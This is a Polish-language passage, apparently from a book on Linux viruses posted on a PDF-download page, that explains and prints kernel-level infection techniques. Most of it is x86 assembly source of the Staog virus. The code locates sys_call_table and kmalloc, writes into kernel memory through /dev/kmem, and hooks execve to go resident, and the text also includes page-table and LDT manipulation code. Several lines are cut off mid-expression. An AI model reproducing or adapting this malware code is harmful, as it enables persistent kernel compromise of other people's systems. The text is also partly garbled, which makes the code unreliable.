[ Pobierz całość w formacie PDF ]

printk("Virtual %x -> %x ",(x
printk(" u/s:%d r/w:%d",(((unsigned long) *temp & 0x04)>>2),(((unsigned long) *temp &
0x02)>>1));
printk(" OS:%x ",((unsigned long) *temp &0xffff ) >>9 );
printk(" p:%d\n",((unsigned long) *temp & 0x01));
};
if (*temp!=0) {for (z=0;z
temp++;
};
};
};
tpaginas++;
};
}
void cleanup_module(void)
{
}
#endif
Przy użyciu tego programu jesteśmy w stanie zmieniać położenie stron i atrybuty zebezpieczeń każdej
strony.
*lp = ((ldt_info.base_addr & 0x0000ffff)
(ldt_info.limit & 0x0ffff);
*(lp+1) = (ldt_info.base_addr & 0xff000000) |
((ldt_info.base_addr & 0x00ff0000)>>16) |
(ldt_info.limit & 0xf0000) |
(ldt_info.contents
((ldt_info.read_exec_only ^ 1)
(ldt_info.seg_32bit
(ldt_info.limit_in_pages
((ldt_info.seg_not_present ^1)
0x7000;
ldt_info jest strukturą
63-54 55 54 53 52 51-48 47 46-45 44 43-40 39-16 15-0
base G D R U limit P DPL S type base limit
31-24 19-16 23-0 15-0
Jeśli nie jesteśmy w stanie zmieniać IDT, GDT, LDT oraz tablicy stron, inną możliwością, przejścia w tryb
ring0, jest skorzystanie z wirtualnych plików Linuxa w celu przyłączenia się do pamięci kernela. Dostęp jest
98
jednakże ograniczony, gdyż tylko root ma prawo do zmian plików, takich jak, /dev/kmem czy też /dev/mem.
W każdym razie jest to jedna z racjonalnych alternatyw przy przejsciu do rezydencji globalnej w Linuxie.
Staog jest jednym z niewielu wirusów dla Linuxa, który używa tej metody,  ma nadzieje , że root wywoła
zainfekowany plik. Ponadto używa on jeszcze trzech exploitów w celu dostania się do /dev/kmem, jednakże
użycie exploitów ogranicza infekcje na nowych wersjach kernela. /dev/hmem umożliwia dostęp do pamięci
kernela, pierwszy bajt tego pliku jest pierwszym bajtem segmentu jądra (mieści się pod adresem
0xC0000000).
.text
.string "Staog by Quantum / VLAD"
.global main
main:
movl %esp,%ebp
movl $11,%eax
movl $0x666,%ebx
int $0x80
cmp $0x667,%ebx
jnz goresident1
jmp tmpend
goresident1:
movl $125,%eax
movl $0x8000000,%ebx
movl $0x4000,%ecx
movl $7,%edx
int $0x80
Pierwszą rzeczą jest próba zarezerwowania pamięci kernela, by skopiować kod wirusa do niej, następnie
modyfikacja wejścia do execve w sys_call_table w celu podpięcia własnego kodu pod nią. Zarezerwowanie
pamięci w jądrze realizowane jest poprzez wywołanie funkcji kalloc. W celu wywołania kodu na poziomie
uprzywilejowania ring0, wirus podmienia systemowy uname używając do tego /dev/kmem a następnie
wywołuje go poprzez przerwanie 0x80. Wywołana procedura wykonuje kmalloc, lecz zanim to nastąpi musi
być znany punkt wejścia do uname. W tym celu wirus wywołuje systemową porcedure get_kernel_syms,
dzięki niej może uzyskać liste z wewnętrznymi funkcjami linuxa oraz strukturami takimi jak sys_call_table,
która jest tablicą wskazników do funkcji dostępowych przerwania 0x80 (takich jak uname).
movl $130,%eax
movl $0,%ebx
int $0x80
shll $6,%eax
subl %eax,%esp
movl %esp,%esi
pushl %eax
movl %esi,%ebx
movl $130,%eax
int $0x80
pushl %esi
nextsym1:
movl $thissym1,%edi
push %esi
addl $4,%esi
99
cmpb $95,(%esi)
jnz notuscore
incl %esi
notuscore:
cmpsl
cmpsl
pop %esi
jz foundsym1
addl $64,%esi
jmp nextsym1
foundsym1:
movl (%esi),%esi
movl %esi,current
popl %esi
pushl %esi
nextsym2:
movl $thissym2,%edi
push %esi
addl $4,%esi
cmpsl
cmpsl
pop %esi
jz foundsym2
addl $64,%esi
jmp nextsym2
foundsym2:
movl (%esi),%esi
movl %esi,kmalloc
popl %esi
xorl %ecx,%ecx
nextsym:
movl $thissym,%edi
movb $15,%cl
push %esi
addl $4,%esi
rep
cmpsb
pop %esi
jz foundsym
addl $64,%esi
jmp nextsym
foundsym:
movl (%esi),%esi
pop %eax
addl %eax,%esp
movl %esi,syscalltable
xorl %edi,%edi
opendevkmem:
movl $devkmem,%ebx
movl $2,%ecx
100
call openfile
orl %eax,%eax
js haxorroot
movl %eax,%ebx
leal 44(%esi),%ecx # lseek sys_call_table[SYS_execve]
call seekfilestart
movl $orgexecve,%ecx
movl $4,%edx # 4 bajty
call readfile
leal 488(%esi),%ecx
call seekfilestart
movl $taskptr,%ecx
movl $4,%edx
call readfile
movl taskptr,%ecx
call seekfilestart
subl $endhookspace-hookspace,%esp
movl %esp,%ecx
movl $endhookspace-hookspace,%edx
call readfile
movl taskptr,%ecx
call seekfilestart
movl filesize,%eax
addl $virend-vircode,%eax
movl %eax,virendvircodefilesize
movl $hookspace,%ecx
movl $endhookspace-hookspace,%edx
call writefile
movl $122,%eax
int $0x80
movl %eax,codeto
movl taskptr,%ecx
call seekfilestart
movl %esp,%ecx
movl $endhookspace-hookspace,%edx
call writefile
addl $endhookspace-hookspace,%esp
subl $aftreturn-vircode,orgexecve
movl codeto,%ecx
subl %ecx,orgexecve
call seekfilestart
101
movl $vircode,%ecx
movl $virend-vircode,%edx
call writefile
leal 44(%esi),%ecx
call seekfilestart
addl $newexecve-vircode,codeto
movl $codeto,%ecx
movl $4,%edx
call writefile
call closefile
tmpend:
call exit
openfile:
movl $5,%eax
int $0x80
ret
closefile:
movl $6,%eax
int $0x80
ret
readfile:
movl $3,%eax
int $0x80
ret
writefile:
movl $4,%eax
int $0x80
ret
seekfilestart:
movl $19,%eax
xorl %edx,%edx
int $0x80
ret
rmfile:
movl $10,%eax
int $0x80
ret
exit:
xorl %eax,%eax
incl %eax
102
int $0x80
thissym:
.string "sys_call_table"
thissym1:
.string "current"
thissym2:
.string "kmalloc"
devkmem:
.string "/dev/kmem"
e_entry:
.long 0x666
infect:
ret
.global newexecve
newexecve:
pushl %ebp
movl %esp,%ebp
pushl %ebx [ Pobierz całość w formacie PDF ]

  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • jagu93.xlx.pl
  •